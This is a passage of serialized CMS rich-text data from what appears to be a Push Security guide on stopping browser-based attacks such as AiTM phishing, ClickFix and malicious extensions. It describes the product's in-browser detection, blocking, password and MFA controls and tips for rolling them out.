day, and when it could be malicious (it looks the same).",{"data":57541,"content":57542,"nodeType":2366},{},[57543],{"data":57544,"content":57545,"nodeType":866},{},[57546],{"data":57547,"marks":57548,"value":57549,"nodeType":865},{},[],"Using SaaS services to distribute malicious links using trusted sites (also a handy way of evading email controls).",{"data":57551,"content":57552,"nodeType":2400},{},[57553,57573],{"data":57554,"content":57555,"nodeType":2366},{},[57556],{"data":57557,"content":57558,"nodeType":866},{},[57559,57563,57570],{"data":57560,"marks":57561,"value":57562,"nodeType":865},{},[],"When reading a LinkedIn DM from a colleague, anticipate that they might have been hacked and have sent you a malicious link. (Yes, this was a ",{"data":57564,"content":57565,"nodeType":889},{"uri":937},[57566],{"data":57567,"marks":57568,"value":57569,"nodeType":865},{},[],"real scenario",{"data":57571,"marks":57572,"value":37929,"nodeType":865},{},[],{"data":57574,"content":57575,"nodeType":2366},{},[57576],{"data":57577,"content":57578,"nodeType":866},{},[57579],{"data":57580,"marks":57581,"value":57582,"nodeType":865},{},[],"Abuse of social media, IM platforms, and other apps where you can be directly contacted by users external to your organization. ",{"data":57584,"content":57585,"nodeType":2400},{},[57586,57596],{"data":57587,"content":57588,"nodeType":2366},{},[57589],{"data":57590,"content":57591,"nodeType":866},{},[57592],{"data":57593,"marks":57594,"value":57595,"nodeType":865},{},[],"When logging in to an app, never follow benign-seeming but actually malicious instructions to enter a code onto a legitimate page to complete your login.",{"data":57597,"content":57598,"nodeType":2366},{},[57599],{"data":57600,"content":57601,"nodeType":866},{},[57602,57606,57612],{"data":57603,"marks":57604,"value":57605,"nodeType":865},{},[],"AiTM phishing, OAuth consent phishing, ",{"data":57607,"content":57608,"nodeType":889},{"uri":1951},[57609],{"data":57610,"marks":57611,"value":8061,"nodeType":865},{},[],{"data":57613,"marks":57614,"value":1615,"nodeType":865},{},[],{"data":57616,"content":57617,"nodeType":2400},{},[57618,57628],{"data":57619,"content":57620,"nodeType":2366},{},[57621],{"data":57622,"content":57623,"nodeType":866},{},[57624],{"data":57625,"marks":57626,"value":57627,"nodeType":865},{},[],"Know which instructions to follow and which are malicious when verifying that you're human on a CAPTCHA-style page.",{"data":57629,"content":57630,"nodeType":2366},{},[57631],{"data":57632,"content":57633,"nodeType":866},{},[57634,57637,57643,57647,57653],{"data":57635,"marks":57636,"value":21,"nodeType":865},{},[],{"data":57638,"content":57639,"nodeType":889},{"uri":14355},[57640],{"data":57641,"marks":57642,"value":315,"nodeType":865},{},[],{"data":57644,"marks":57645,"value":57646,"nodeType":865},{},[],"-style attacks that trick the user into running a malicious script or command, or ",{"data":57648,"content":57649,"nodeType":889},{"uri":7472},[57650],{"data":57651,"marks":57652,"value":7465,"nodeType":865},{},[],{"data":57654,"marks":57655,"value":57656,"nodeType":865},{},[]," (which is even sneakier and simply involves copying a URL).",{"data":57658,"content":57659,"nodeType":866},{},[57660,57664],{"data":57661,"marks":57662,"value":57663,"nodeType":865},{},[],"And we're barely scratching the surface here. ",{"data":57665,"marks":57666,"value":57668,"nodeType":865},{},[57667],{"type":926},"Easy, right?",{"data":57670,"content":57671,"nodeType":1317},{},[57672],{"data":57673,"marks":57674,"value":57676,"nodeType":865},{},[57675],{"type":926},"Can't we block users from interacting with bad content? ",{"data":57678,"content":57679,"nodeType":866},{},[57680],{"data":57681,"marks":57682,"value":57683,"nodeType":865},{},[],"So if you can’t train your way out of these problems, what about locking down and blocking your way out of the problem?",{"data":57685,"content":57686,"nodeType":866},{},[57687],{"data":57688,"marks":57689,"value":57690,"nodeType":865},{},[],"This, too, simply isn’t really feasible. ",{"data":57692,"content":57693,"nodeType":866},{},[57694],{"data":57695,"marks":57696,"value":57697,"nodeType":865},{},[],"Modern cloud-first adversaries routinely rotate domains on malicious pages; use trusted services like SharePoint, Adobe, Google Sites, Cloudflare, and Atlassian to deliver lures; target end-users across multiple channels, including social media, forums, chat platforms, Google search results, email, and webpages; and use legitimate security tools like bot protection to bypass detection by other legitimate security tools, such as web content scanning and analysis solutions.",{"data":57699,"content":57700,"nodeType":866},{},[57701,57705,57709,57714],{"data":57702,"marks":57703,"value":57704,"nodeType":865},{},[],"To safely navigate the internet today, y",{"data":57706,"marks":57707,"value":57708,"nodeType":865},{},[],"ou need to be able to spot malicious pages and content ",{"data":57710,"marks":57711,"value":57713,"nodeType":865},{},[57712],{"type":926},"the first time they're seen in the wild",{"data":57715,"marks":57716,"value":57717,"nodeType":865},{},[],". If you're relying on indicators of known bad, you're always a step behind, leaving users exposed.",{"data":57719,"content":57723,"nodeType":912},{"target":57720},{"sys":57721},{"id":57722,"type":909,"linkType":910},"3ZfqOLRdJZJIc78rj9E9JZ",[],{"data":57725,"content":57726,"nodeType":866},{},[57727],{"data":57728,"marks":57729,"value":57730,"nodeType":865},{},[],"To protect users while they work online, you need a purpose-built security tool that can respond in real time to modern TTPs and guide users securely — without introducing extra work or a lot of friction. Push can help with that.",{"data":57732,"content":57733,"nodeType":972},{},[],{"data":57735,"content":57736,"nodeType":981},{},[57737],{"data":57738,"marks":57739,"value":57741,"nodeType":865},{},[57740],{"type":926},"Why in-browser controls?",{"data":57743,"content":57744,"nodeType":866},{},[57745],{"data":57746,"marks":57747,"value":57748,"nodeType":865},{},[],"Simply put, using in-browser security controls gets you the closest to the user and their work in order to protect them from modern browser-based threats. Adding in-browser controls also solves two tricky problems for security teams: ",{"data":57750,"content":57751,"nodeType":1616},{},[57752,57767],{"data":57753,"content":57754,"nodeType":1570},{},[57755],{"data":57756,"content":57757,"nodeType":866},{},[57758,57763],{"data":57759,"marks":57760,"value":57762,"nodeType":865},{},[57761],{"type":926},"Filling the gap between solution layers",{"data":57764,"marks":57765,"value":57766,"nodeType":865},{},[]," in order to detect and block attack methods like Adversary-in-the-Middle phishing, malicious browser extensions, and ClickFix-style social engineering attacks that other tools miss.",{"data":57768,"content":57769,"nodeType":1570},{},[57770],{"data":57771,"content":57772,"nodeType":866},{},[57773,57778],{"data":57774,"marks":57775,"value":57777,"nodeType":865},{},[57776],{"type":926},"Providing just-in-time security enforcement",{"data":57779,"marks":57780,"value":57781,"nodeType":865},{},[]," to end-users when it’s the right moment to act on that guidance, reducing your attack surface across your online apps, browser extensions, and accounts, and ensuring your app usage policies are followed.",{"data":57783,"content":57784,"nodeType":1317},{},[57785],{"data":57786,"marks":57787,"value":57788,"nodeType":865},{},[],"Fill the gap between solution layers",{"data":57790,"content":57791,"nodeType":866},{},[57792,57796,57801],{"data":57793,"marks":57794,"value":57795,"nodeType":865},{},[],"Most existing security solutions operate just ",{"data":57797,"marks":57798,"value":57800,"nodeType":865},{},[57799],{"type":898},"outside",{"data":57802,"marks":57803,"value":57804,"nodeType":865},{},[]," the context of a user interacting with a webpage. This leaves blind spots that attackers are exploiting between layers of security tooling.",{"data":57806,"content":57807,"nodeType":866},{},[57808,57812,57822],{"data":57809,"marks":57810,"value":57811,"nodeType":865},{},[],"For example, network proxies see HTTP requests, URLs, and page headers, but not the ",{"data":57813,"content":57817,"nodeType":33606},{"target":57814},{"sys":57815},{"id":57816,"type":909,"linkType":910},"5caCcGCqMMPm5KlwUv0sbz",[57818],{"data":57819,"marks":57820,"value":57821,"nodeType":865},{},[],"structural elements",{"data":57823,"marks":57824,"value":57825,"nodeType":865},{},[]," of the DOM or on-page user interactions that are key to fingerprinting the behavior of AiTM phishing kits or ClickFix-style social engineering attacks. ",{"data":57827,"content":57828,"nodeType":866},{},[57829,57833,57843,57847,57857],{"data":57830,"marks":57831,"value":57832,"nodeType":865},{},[],"Similarly, ",{"data":57834,"content":57838,"nodeType":33606},{"target":57835},{"sys":57836},{"id":57837,"type":909,"linkType":910},"6YWYKGESlyUKQxvhKmBzeH",[57839],{"data":57840,"marks":57841,"value":57842,"nodeType":865},{},[],"EDR tools",{"data":57844,"marks":57845,"value":57846,"nodeType":865},{},[]," only see the bad thing when it hits the endpoint, and many ",{"data":57848,"content":57852,"nodeType":33606},{"target":57849},{"sys":57850},{"id":57851,"type":909,"linkType":910},"2k2aDK5dyQKlQBrk66pMXE",[57853],{"data":57854,"marks":57855,"value":57856,"nodeType":865},{},[],"cloud security tools",{"data":57858,"marks":57859,"value":57860,"nodeType":865},{},[]," rely on complex policy configurations across a core set of apps to provide security protection — leaving a gap in detection and response capabilities outside their purview.",{"data":57862,"content":57866,"nodeType":912},{"target":57863},{"sys":57864},{"id":57865,"type":909,"linkType":910},"50NyBpr96dKspvTzJTBOlC",[],{"data":57868,"content":57869,"nodeType":1317},{},[57870],{"data":57871,"marks":57872,"value":57873,"nodeType":865},{},[],"Provide just-in-time security enforcement",{"data":57875,"content":57876,"nodeType":866},{},[57877,57881,57889],{"data":57878,"marks":57879,"value":57880,"nodeType":865},{},[],"As some of our customers like to say, Push provides security teams with a ",{"data":57882,"content":57884,"nodeType":889},{"uri":57883},"/customer-stories/upvest",[57885],{"data":57886,"marks":57887,"value":57888,"nodeType":865},{},[],"“seat on the user’s side”",{"data":57890,"marks":57891,"value":57892,"nodeType":865},{},[]," of the equation so you can enforce security best practices.",{"data":57894,"content":57895,"nodeType":866},{},[57896],{"data":57897,"marks":57898,"value":57899,"nodeType":865},{},[],"Having that seat on the user’s side also helps you deliver guidance in the right context for it to be followed: When the user is engaged in doing the behavior you want to influence (or prevent). The right information, at the right time, in the right format — not a belated reminder through a different channel that’s easy to ignore.",{"data":57901,"content":57902,"nodeType":866},{},[57903],{"data":57904,"marks":57905,"value":57906,"nodeType":865},{},[],"With those outcomes in mind, let’s look at some specific solutions from the Push platform.",{"data":57908,"content":57909,"nodeType":972},{},[],{"data":57911,"content":57912,"nodeType":981},{},[57913],{"data":57914,"marks":57915,"value":57917,"nodeType":865},{},[57916],{"type":926},"How Push helps you protect users from browser-based ATO, ClickFix, and similar attacks",{"data":57919,"content":57920,"nodeType":866},{},[57921],{"data":57922,"marks":57923,"value":57924,"nodeType":865},{},[],"The Push platform provides out-of-the-box detections for browser-based attacks, including:",{"data":57926,"content":57927,"nodeType":1616},{},[57928,57950,57973,57994],{"data":57929,"content":57930,"nodeType":1570},{},[57931],{"data":57932,"content":57933,"nodeType":866},{},[57934,57937,57946],{"data":57935,"marks":57936,"value":21,"nodeType":865},{},[],{"data":57938,"content":57942,"nodeType":33606},{"target":57939},{"sys":57940},{"id":57941,"type":909,"linkType":910},"7KRnTSnJAbbiho69gNyN0B",[57943],{"data":57944,"marks":57945,"value":4889,"nodeType":865},{},[],{"data":57947,"marks":57948,"value":57949,"nodeType":865},{},[]," that can bypass MFA",{"data":57951,"content":57952,"nodeType":1570},{},[57953],{"data":57954,"content":57955,"nodeType":866},{},[57956,57959,57969],{"data":57957,"marks":57958,"value":21,"nodeType":865},{},[],{"data":57960,"content":57964,"nodeType":33606},{"target":57961},{"sys":57962},{"id":57963,"type":909,"linkType":910},"jN3GN5ddMJZiDtl0fgUVd",[57965],{"data":57966,"marks":57967,"value":57968,"nodeType":865},{},[],"Cloned login pages",{"data":57970,"marks":57971,"value":57972,"nodeType":865},{},[]," designed to steal user credentials",{"data":57974,"content":57975,"nodeType":1570},{},[57976],{"data":57977,"content":57978,"nodeType":866},{},[57979,57982,57991],{"data":57980,"marks":57981,"value":21,"nodeType":865},{},[],{"data":57983,"content":57987,"nodeType":33606},{"target":57984},{"sys":57985},{"id":57986,"type":909,"linkType":910},"5NyiWgjMDwk16XZ0S681JK",[57988],{"data":57989,"marks":57990,"value":699,"nodeType":865},{},[],{"data":57992,"marks":57993,"value":21,"nodeType":865},{},[],{"data":57995,"content":57996,"nodeType":1570},{},[57997],{"data":57998,"content":57999,"nodeType":866},{},[58000,58003,58013],{"data":58001,"marks":58002,"value":21,"nodeType":865},{},[],{"data":58004,"content":58008,"nodeType":33606},{"target":58005},{"sys":58006},{"id":58007,"type":909,"linkType":910},"7jygmadjoz0asAHv7e5PuK",[58009],{"data":58010,"marks":58011,"value":58012,"nodeType":865},{},[],"Malicious copy and paste attacks",{"data":58014,"marks":58015,"value":58016,"nodeType":865},{},[]," like ClickFix, FileFix, and similar",{"data":58018,"content":58019,"nodeType":866},{},[58020],{"data":58021,"marks":58022,"value":58023,"nodeType":865},{},[],"For each of these attack vectors, Push delivers detection events and associated metadata for quick triage by the security team, as well as employee-facing warn or block screens, based on your selected configuration.",{"data":58025,"content":58026,"nodeType":866},{},[58027],{"data":58028,"marks":58029,"value":58030,"nodeType":865},{},[],"Here’s a snapshot of the capabilities of these controls and what end-users will experience.",{"data":58032,"content":58033,"nodeType":1317},{},[58034],{"data":58035,"marks":58036,"value":58038,"nodeType":865},{},[58037],{"type":926},"The scenario:",{"data":58040,"content":58041,"nodeType":866},{},[58042],{"data":58043,"marks":58044,"value":58045,"nodeType":865},{},[],"When a user encounters a malicious page — whether that’s an AiTM phishing tool running on a webpage, or a ClickFix-style attack — or attempts to install a malicious extension, Push immediately steps in. ",{"data":58047,"content":58048,"nodeType":866},{},[58049],{"data":58050,"marks":58051,"value":58052,"nodeType":865},{},[],"Push can prevent users from entering their credentials on phishing pages, including cloned login pages, or from pasting malicious clipboard contents that can run malware on their device. Push can also prevent users from installing known-bad browser extensions. ",{"data":58054,"content":58055,"nodeType":866},{},[58056],{"data":58057,"marks":58058,"value":58059,"nodeType":865},{},[],"In each of these scenarios, Push admins get detailed detection information they can use to triage the incident.",{"data":58061,"content":58064,"nodeType":912},{"target":58062},{"sys":58063},{"id":33918,"type":909,"linkType":910},[],{"data":58066,"content":58067,"nodeType":1317},{},[58068],{"data":58069,"marks":58070,"value":58072,"nodeType":865},{},[58071],{"type":926},"How it works:",{"data":58074,"content":58075,"nodeType":866},{},[58076],{"data":58077,"marks":58078,"value":58079,"nodeType":865},{},[],"Rather than relying on known-bad intelligence like domains or URLs, Push performs a behavioral and structural analysis of malicious pages in real time.",{"data":58081,"content":58082,"nodeType":866},{},[58083],{"data":58084,"marks":58085,"value":58086,"nodeType":865},{},[],"That means a phishing page never has to appear in a threat intelligence feed in order to be detected and blocked.",{"data":58088,"content":58089,"nodeType":866},{},[58090],{"data":58091,"marks":58092,"value":58093,"nodeType":865},{},[],"Similarly, for malicious copy and paste attacks like ClickFix, Push analyzes the content copied to the clipboard but also evaluates the context of the page to reduce false positives. In blocking mode, Push’s control for ClickFix-style attacks replaces the malicious clipboard contents with safe text — preventing potential endpoint compromise before it can occur.",{"data":58095,"content":58099,"nodeType":912},{"target":58096},{"sys":58097},{"id":58098,"type":909,"linkType":910},"3OkejjEjV9xflBc5ouOVFn",[],{"data":58101,"content":58102,"nodeType":866},{},[58103],{"data":58104,"marks":58105,"value":58106,"nodeType":865},{},[],"Finally, for identifying malicious browser extensions, Push takes a slightly different approach — combining both behavioral detections and curated intelligence of known-bad extensions from our own research and from trusted industry sources. We’ve found this combination provides the highest-fidelity way to identify malicious extensions without relying on approaches like analyzing extension permissions, which often isn’t actionable. ",{"data":58108,"content":58109,"nodeType":1317},{},[58110],{"data":58111,"marks":58112,"value":58114,"nodeType":865},{},[58113],{"type":926},"Your security team gets:",{"data":58116,"content":58117,"nodeType":866},{},[58118,58122,58130],{"data":58119,"marks":58120,"value":58121,"nodeType":865},{},[],"Readymade detection and alerting, combined with detailed telemetry. Detections and their associated metadata can be consumed via ",{"data":58123,"content":58125,"nodeType":889},{"uri":58124},"/help/audience/administrators/docs/getting-started/#api-and-webhooks",[58126],{"data":58127,"marks":58128,"value":58129,"nodeType":865},{},[],"Push’s REST API and webhooks",{"data":58131,"marks":58132,"value":6719,"nodeType":865},{},[],{"data":58134,"content":58135,"nodeType":1317},{},[58136],{"data":58137,"marks":58138,"value":58140,"nodeType":865},{},[58139],{"type":926},"Your end-users see:",{"data":58142,"content":58143,"nodeType":866},{},[58144],{"data":58145,"marks":58146,"value":58147,"nodeType":865},{},[],"An immediate block screen in your company colors and brand style, providing a highly memorable, contextual moment of learning — and reassuring them that an incident has been prevented.",{"data":58149,"content":58153,"nodeType":912},{"target":58150},{"sys":58151},{"id":58152,"type":909,"linkType":910},"4QfjDDfKjohKr1qqDLRT0m",[],{"data":58155,"content":58156,"nodeType":972},{},[],{"data":58158,"content":58159,"nodeType":981},{},[58160],{"data":58161,"marks":58162,"value":58164,"nodeType":865},{},[58163],{"type":926},"How Push helps you remediate account vulnerabilities at scale",{"data":58166,"content":58167,"nodeType":866},{},[58168],{"data":58169,"marks":58170,"value":58171,"nodeType":865},{},[],"Just-in-time security enforcement works best when it’s trustworthy and contextual — without making a lot more work for your team. Push also provides readymade controls for remediating common account vulnerabilities that contribute to your attack surface online, helping you harden existing accounts and reduce behaviors that introduce new risks.",{"data":58173,"content":58174,"nodeType":866},{},[58175],{"data":58176,"marks":58177,"value":58178,"nodeType":865},{},[],"With Push, you can:",{"data":58180,"content":58181,"nodeType":1616},{},[58182,58205,58242,58266],{"data":58183,"content":58184,"nodeType":1570},{},[58185],{"data":58186,"content":58187,"nodeType":866},{},[58188,58191,58201],{"data":58189,"marks":58190,"value":21,"nodeType":865},{},[],{"data":58192,"content":58196,"nodeType":33606},{"target":58193},{"sys":58194},{"id":58195,"type":909,"linkType":910},"6FYHbkcRUrtznPo7RarRsz",[58197],{"data":58198,"marks":58199,"value":58200,"nodeType":865},{},[],"Prevent the phishing or reuse of high-value passwords",{"data":58202,"marks":58203,"value":58204,"nodeType":865},{},[],", like your IdP, AWS, or code repository passwords.",{"data":58206,"content":58207,"nodeType":1570},{},[58208],{"data":58209,"content":58210,"nodeType":866},{},[58211,58215,58225,58228,58238],{"data":58212,"marks":58213,"value":58214,"nodeType":865},{},[],"Remediate ",{"data":58216,"content":58220,"nodeType":33606},{"target":58217},{"sys":58218},{"id":58219,"type":909,"linkType":910},"2WAc5HflKonFN7Jc53ROgj",[58221],{"data":58222,"marks":58223,"value":58224,"nodeType":865},{},[],"missing MFA",{"data":58226,"marks":58227,"value":53880,"nodeType":865},{},[],{"data":58229,"content":58233,"nodeType":33606},{"target":58230},{"sys":58231},{"id":58232,"type":909,"linkType":910},"2dAP36chda6ZDGKzw0Itfs",[58234],{"data":58235,"marks":58236,"value":58237,"nodeType":865},{},[],"insecure passwords",{"data":58239,"marks":58240,"value":58241,"nodeType":865},{},[]," on any work app, even those not managed by your SSO solution.",{"data":58243,"content":58244,"nodeType":1570},{},[58245],{"data":58246,"content":58247,"nodeType":866},{},[58248,58252,58262],{"data":58249,"marks":58250,"value":58251,"nodeType":865},{},[],"Use ",{"data":58253,"content":58257,"nodeType":33606},{"target":58254},{"sys":58255},{"id":58256,"type":909,"linkType":910},"2ZpKnuljaUH0jzVaae4SMN",[58258],{"data":58259,"marks":58260,"value":58261,"nodeType":865},{},[],"in-browser banners",{"data":58263,"marks":58264,"value":58265,"nodeType":865},{},[]," to add guardrails to app usage, including blocking unapproved SaaS or collecting a business reason to access an app before approving it.",{"data":58267,"content":58268,"nodeType":1570},{},[58269],{"data":58270,"content":58271,"nodeType":866},{},[58272,58275,58285],{"data":58273,"marks":58274,"value":21,"nodeType":865},{},[],{"data":58276,"content":58280,"nodeType":33606},{"target":58277},{"sys":58278},{"id":58279,"type":909,"linkType":910},"3ibVBa6u0XfcXXDVtON5th",[58281],{"data":58282,"marks":58283,"value":58284,"nodeType":865},{},[],"Block unwanted or unapproved browser extensions",{"data":58286,"marks":58287,"value":58288,"nodeType":865},{},[]," from being installed, or disable them if they’ve been installed previously.",{"data":58290,"content":58291,"nodeType":866},{},[58292],{"data":58293,"marks":58294,"value":58030,"nodeType":865},{},[],{"data":58296,"content":58297,"nodeType":1317},{},[58298],{"data":58299,"marks":58300,"value":58038,"nodeType":865},{},[58301],{"type":926},{"data":58303,"content":58304,"nodeType":866},{},[58305],{"data":58306,"marks":58307,"value":58308,"nodeType":865},{},[],"Push uses in-browser controls to intervene when a user is missing MFA; reusing a high-value password; using an insecure password; attempting to log in to an unapproved app; or attempting to install a blocked extension. ",{"data":58310,"content":58311,"nodeType":866},{},[58312],{"data":58313,"marks":58314,"value":58315,"nodeType":865},{},[],"Push can block users from reusing passwords set as “protected” (meaning they can’t be reused on any other page or app) or from using unapproved apps or extensions. Push can guide users to update their password or register for MFA on accounts where they lack it. Push can also provide any other specific security or policy guidance to employees via banners that appear on apps in your environment, including GenAI apps. ",{"data":58317,"content":58318,"nodeType":866},{},[58319],{"data":58320,"marks":58321,"value":58322,"nodeType":865},{},[],"For all of these scenarios, you can tune Push controls to your preferred mode (informing vs. blocking, for example) and select which employees, employee groups, and apps or accounts to focus on.",{"data":58324,"content":58325,"nodeType":866},{},[58326],{"data":58327,"marks":58328,"value":58329,"nodeType":865},{},[],"You can also customize the message that employees see, to match your organizational culture and policies.",{"data":58331,"content":58332,"nodeType":1317},{},[58333],{"data":58334,"marks":58335,"value":58337,"nodeType":865},{},[58336],{"type":926},"How it works: ",{"data":58339,"content":58340,"nodeType":866},{},[58341],{"data":58342,"marks":58343,"value":58344,"nodeType":865},{},[],"The Push browser agent observes real-time user behavior and securely analyzes users’ account vulnerabilities in order to identify risks and execute your preconfigured controls. ",{"data":58346,"content":58347,"nodeType":866},{},[58348],{"data":58349,"marks":58350,"value":58351,"nodeType":865},{},[],"To identify MFA status, Push uses the app’s own API to query the logged-in user’s registered MFA methods. To analyze password security, Push creates a salted, truncated hash that is stored locally in the user’s browser and then used for comparison to find reused passwords, leaked passwords, and shared passwords. ",{"data":58353,"content":58354,"nodeType":866},{},[58355,58359,58364,58367,58372],{"data":58356,"marks":58357,"value":58358,"nodeType":865},{},[],"Using the ",{"data":58360,"marks":58361,"value":58363,"nodeType":865},{},[58362],{"type":926},"MFA enforcement",{"data":58365,"marks":58366,"value":4988,"nodeType":865},{},[],{"data":58368,"marks":58369,"value":58371,"nodeType":865},{},[58370],{"type":926},"Strong password enforcement",{"data":58373,"marks":58374,"value":58375,"nodeType":865},{},[]," controls, you can then automatically display a banner to users with those account vulnerabilities, guiding them to fix the issue.",{"data":58377,"content":58381,"nodeType":912},{"target":58378},{"sys":58379},{"id":58380,"type":909,"linkType":910},"7Ka4CumZk9it6GsdlNHREA",[],{"data":58383,"content":58384,"nodeType":866},{},[58385,58389,58394],{"data":58386,"marks":58387,"value":58388,"nodeType":865},{},[],"Using Push’s ",{"data":58390,"marks":58391,"value":58393,"nodeType":865},{},[58392],{"type":926},"Password protection",{"data":58395,"marks":58396,"value":58397,"nodeType":865},{},[]," control, you can select apps where you want to essentially “pin” the high-value password to only that app and prevent its reuse (or phishing) on any other domain. ",{"data":58399,"content":58400,"nodeType":866},{},[58401,58404,58409],{"data":58402,"marks":58403,"value":58388,"nodeType":865},{},[],{"data":58405,"marks":58406,"value":58408,"nodeType":865},{},[58407],{"type":926},"Browser extension blocking",{"data":58410,"marks":58411,"value":58412,"nodeType":865},{},[]," control, you can create a blocklist or allowlist of extensions and prevent users from installing or enabling blocked extensions.",{"data":58414,"content":58415,"nodeType":866},{},[58416,58420,58425],{"data":58417,"marks":58418,"value":58419,"nodeType":865},{},[],"Finally, using Push’s ",{"data":58421,"marks":58422,"value":58424,"nodeType":865},{},[58423],{"type":926},"App banners",{"data":58426,"marks":58427,"value":58428,"nodeType":865},{},[]," feature, you can add custom messages in a range of modes — from informing to blocking — to apps in use across your business, or even specific URL patterns.",{"data":58430,"content":58434,"nodeType":912},{"target":58431},{"sys":58432},{"id":58433,"type":909,"linkType":910},"5Mq4PEzEhW8p1qLvS9aZMm",[],{"data":58436,"content":58437,"nodeType":1317},{},[58438],{"data":58439,"marks":58440,"value":58442,"nodeType":865},{},[58441],{"type":926},"Your security team gets: ",{"data":58444,"content":58445,"nodeType":866},{},[58446],{"data":58447,"marks":58448,"value":58449,"nodeType":865},{},[],"A flexible and highly configurable set of controls to solve account vulnerabilities at scale and to enforce your security controls around browser extensions and app usage.",{"data":58451,"content":58452,"nodeType":1317},{},[58453],{"data":58454,"marks":58455,"value":58457,"nodeType":865},{},[58456],{"type":926},"Your end-users see: ",{"data":58459,"content":58460,"nodeType":866},{},[58461],{"data":58462,"marks":58463,"value":58464,"nodeType":865},{},[],"Contextual, actionable guidance in the midst of their actual workflow, helping them fix the issue or guiding them to safety.",{"data":58466,"content":58467,"nodeType":972},{},[],{"data":58469,"content":58470,"nodeType":981},{},[58471],{"data":58472,"marks":58473,"value":58475,"nodeType":865},{},[58474],{"type":926},"Implementation tips",{"data":58477,"content":58478,"nodeType":866},{},[58479],{"data":58480,"marks":58481,"value":58482,"nodeType":865},{},[],"Push allows you to set the scope and mode of each control, making it simple to roll out. ",{"data":58484,"content":58485,"nodeType":866},{},[58486,58490,58495,58499,58503,58507,58512],{"data":58487,"marks":58488,"value":58489,"nodeType":865},{},[],"We recommend starting in ",{"data":58491,"marks":58492,"value":58494,"nodeType":865},{},[58493],{"type":926},"Monitor",{"data":58496,"marks":58497,"value":58498,"nodeType":865},{},[]," mode for controls that intervene in end-user activities. That way, you can perform testing with sample malicious sites or scenarios like reused protected passwords, tune out any benign true positives, and develop the messaging you want to use on warn or block pages. (For controls without an explicit monitor mode, like ",{"data":58500,"marks":58501,"value":58371,"nodeType":865},{},[58502],{"type":926},{"data":58504,"marks":58505,"value":58506,"nodeType":865},{},[],", you can still monitor for related events on the ",{"data":58508,"marks":58509,"value":58511,"nodeType":865},{},[58510],{"type":926},"Events",{"data":58513,"marks":58514,"value":58515,"nodeType":865},{},[]," page, such as account security findings, or by consuming webhooks into a downstream tool.)",{"data":58517,"content":58521,"nodeType":912},{"target":58518},{"sys":58519},{"id":58520,"type":909,"linkType":910},"7vk8DHv01cM1o2C0ZpAvZu",[],{"data":58523,"content":58524,"nodeType":866},{},[58525,58529,58534,58537,58542],{"data":58526,"marks":58527,"value":58528,"nodeType":865},{},[],"When you’re ready, set the mode to ",{"data":58530,"marks":58531,"value":58533,"nodeType":865},{},[58532],{"type":926},"Warn",{"data":58535,"marks":58536,"value":53880,"nodeType":865},{},[],{"data":58538,"marks":58539,"value":58541,"nodeType":865},{},[58540],{"type":926},"Block",{"data":58543,"marks":58544,"value":58545,"nodeType":865},{},[]," and use the scope options to perform a phased rollout to your user population by adding additional user groups to the control until you have complete coverage of your population.",{"data":58547,"content":58548,"nodeType":866},{},[58549],{"data":58550,"marks":58551,"value":58552,"nodeType":865},{},[],"By consuming webhook events into your SIEM, you can integrate Push alerts into your existing security workflows, monitoring for new detections or tracking when account vulnerabilities are resolved.",{"data":58554,"content":58555,"nodeType":972},{},[],{"data":58557,"content":58558,"nodeType":981},{},[58559],{"data":58560,"marks":58561,"value":58563,"nodeType":865},{},[58562],{"type":926},"Enhancing user trust with custom branding",{"data":58565,"content":58566,"nodeType":866},{},[58567],{"data":58568,"marks":58569,"value":58570,"nodeType":865},{},[],"We recently released the option to customize the look and feel of all employee-facing banners and block pages. ",{"data":58572,"content":58573,"nodeType":866},{},[58574,58578,58583],{"data":58575,"marks":58576,"value":58577,"nodeType":865},{},[],"From the ",{"data":58579,"marks":58580,"value":58582,"nodeType":865},{},[58581],{"type":926},"Settings",{"data":58584,"marks":58585,"value":58586,"nodeType":865},{},[]," page in the Push admin console, you can upload your logo, add accent colors, and choose from light or dark backgrounds.",{"data":58588,"content":58592,"nodeType":912},{"target":58589},{"sys":58590},{"id":58591,"type":909,"linkType":910},"51lk1VRP20G7H4PAoRZANI",[],{"data":58594,"content":58595,"nodeType":866},{},[58596],{"data":58597,"marks":58598,"value":58599,"nodeType":865},{},[],"Custom branding increases the trustworthiness of these in-the-moment security guardrails so that users recognize them immediately and act on their guidance.",{"data":58601,"content":58602,"nodeType":866},{},[58603],{"data":58604,"marks":58605,"value":58606,"nodeType":865},{},[],"The result: Better compliance and lower friction for you and your employees.",{"data":58608,"content":58609,"nodeType":972},{},[],{"data":58611,"content":58612,"nodeType":981},{},[58613],{"data":58614,"marks":58615,"value":2270,"nodeType":865},{},[58616],{"type":926},{"data":58618,"content":58619,"nodeType":866},{},[58620,58624,58631],{"data":58621,"marks":58622,"value":58623,"nodeType":865},{},[],"Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — ",{"data":58625,"content":58626,"nodeType":889},{"uri":152},[58627],{"data":58628,"marks":58629,"value":58630,"nodeType":865},{},[],"modern attack techniques",{"data":58632,"marks":58633,"value":58634,"nodeType":865},{},[]," that are the leading cause of breaches today.",{"data":58636,"content":58637,"nodeType":866},{},[58638],{"data":58639,"marks":58640,"value":58641,"nodeType":865},{},[],"You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":58643,"content":58644,"nodeType":866},{},[58645,58649,58657,58661,58669,58673,58679],{"data":58646,"marks":58647,"value":58648,"nodeType":865},{},[],"Want to learn more about Push? Check out our latest ",{"data":58650,"content":58652,"nodeType":889},{"uri":58651},"/resources/product-brochure",[58653],{"data":58654,"marks":58655,"value":58656,"nodeType":865},{},[],"product overview",{"data":58658,"marks":58659,"value":58660,"nodeType":865},{},[],", visit our ",{"data":58662,"content":58664,"nodeType":889},{"uri":58663},"/product-demo/",[58665],{"data":58666,"marks":58667,"value":58668,"nodeType":865},{},[],"demo library",{"data":58670,"marks":58671,"value":58672,"nodeType":865},{},[],", or book some time with one of our team for a ",{"data":58674,"content":58675,"nodeType":889},{"uri":34504},[58676],{"data":58677,"marks":58678,"value":2298,"nodeType":865},{},[],{"data":58680,"marks":58681,"value":1615,"nodeType":865},{},[],"Guide: How to use Push controls to protect your users from modern browser threats","How to use in-browser controls to stop browser-based attacks before compromise can 